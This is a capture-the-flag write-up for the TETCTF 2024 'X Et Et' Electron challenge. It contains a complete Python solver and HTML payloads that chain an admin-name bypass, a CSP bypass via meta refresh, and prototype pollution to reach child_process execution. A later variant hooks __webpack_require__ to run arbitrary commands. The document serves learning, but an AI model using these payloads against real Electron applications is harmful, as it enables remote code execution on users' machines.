X Et Et Challenge Writeup (TETCTF 2024)
solver.py
import httpx
URL = "<http://139.162.1.172>"
class BaseAPI:
def __init__(self, url=URL) -> None:
self.c = httpx.Client(base_url=url)
def login(s, username, password):
return s.c.post("/login", data={"username":username, "password":password})
def register(s, username, password):
return s.c.post("/signup", data={"username":username, "password":password, "repassword": password})
def ticket(s, title, content, file):
return s.c.post("/ticket", files={"file": file}, data={"title": title, "content": content}).headers['location'].replace("/ticket/", "")
def report(s, id):
return s.c.post("/report", data={"id": id})
def tmp(s, temp):
return s.c.get("/tmp/"+temp)
class API(BaseAPI):
...
if __name__ == "__main__":
api = API()
creds = "admin "
res = api.register(creds, creds)
res = api.login(creds, creds)
ticket2 = api.ticket("x", "x", open("index.html", "rb"))
ticket4 = api.ticket(f'<meta http-equiv="refresh" content="0; url=file:///tmp/{ticket2}.html">', "x", open("index.html", "rb"))
ticket5 = api.ticket(f'<meta http-equiv="refresh" content="0; url=file:///tmp/{ticket4}.html">', f'<http://localhost/tmp/>', open("index.html", "rb"))
res = api.report(ticket5)
print(res.text)
# use existing id
res = api.tmp("aecd5409-7936-4aab-9955-347753d92284")
print(res.text)
print(ticket2)
index.html
<html>
<body>
<script>
Object.defineProperty(Object.prototype, 'x', {
set(v) {
// use existing id
this.module.exports._load('child_process').execSync('/flag > /tmp/aecd5409-7936-4aab-9955-347753d92284.html')
},
})
const origCall = Function.prototype.call
Function.prototype.call = function (...args) {
if (args.length == 4){
window.pwn = args
// __webpack_require__
args[3]("x")
}
//console.log(this, args)
return origCall.apply(this, args)
}
</script>
</body>
</html>
There are several steps to achieve RCE:
- The first one is to bypass the admin.
Here, because there is a hyphen in the session name on the login route, we can work around it by adding a space at the end or prefixing the word "admin" to gain the same privileges as the admin session.
@app.route('/login', methods=['GET', 'POST']) def login(): if request.method == 'POST': data = request.form username = data.get('username') password = data.get('password') if username and password: user = User.query.filter_by(username=username).first() print(user) if user and password == user.password: session['username'] = username.strip() # Redirect to the home page or perform other actions upon successful login return redirect(url_for('home')) return render_template('login.html', error_message='Invalid username or password.') else: return render_template('login.html')Since we have become an admin, when we create new content,
[IMPORT ALERT]will be added to every content we create.if username=="admin": content = "[IMPORTANT ALERT]"+ content else: content = "[NOMAL ALERT]"+ contentWith that, we can trigger the code below to gain access to the window with more lenient permissions.
challenge/app/index.htmlif(atob(envVariables.content).startsWith("[IMPORTANT ALERT]")){ electron.send("CreateViewer",atob(window.envVariables.id));}Where
CreateViewerwill pop up a window with permissions in the code below:function createNotificationWindow(id) { child = new BrowserWindow({ width: 300, height: 200, webPreferences: { //preload: no need preload expose sandbox: false, contextIsolation: false, webgl: true, webSecurity: false, nodeIntegrationInSubFrames: false, // dont allow call ipc from iframe/child windows } }) child.loadURL("<http://localhost/IsNew?id=>"+id) }The permissions
sandbox: falseandcontextIsolation: falsecan be used to influence the context at the preload level, where functions likethis.moduleare available. We can utilize these functions to achieve Remote Code Execution (RCE).For more information, you can check the Harmony challenge on HITCON CTF 2023. https://github.com/maple3142/My-CTF-Challenges/tree/master/HITCON CTF 2023/Harmony#rce-using-client-side-prototype-pollution
- We perform sandbox bypass by using the Prototype Pollution technique.
- Bypassing CSP using the meta refresh tag.
Those are the steps required to work on this challenge. For the rest, you can refer to the solve script above to see the execution flow.
After The CTF
After the CTF ended, the author shared their solve script, and I discovered that you can simply import the module using __webpack_require__ to achieve Remote Code Execution (RCE):
<script>
const orgCall = Function.prototype.call;
Function.prototype.call = function(...args){
if(args[3] && args[3].name == "__webpack_require__"){
const __webpack_require__ = args[3];
var cc = __webpack_require__('module')._load('child_process').exec('"""+rce+"""');
}
return orgCall.apply(this,args);
}</script>
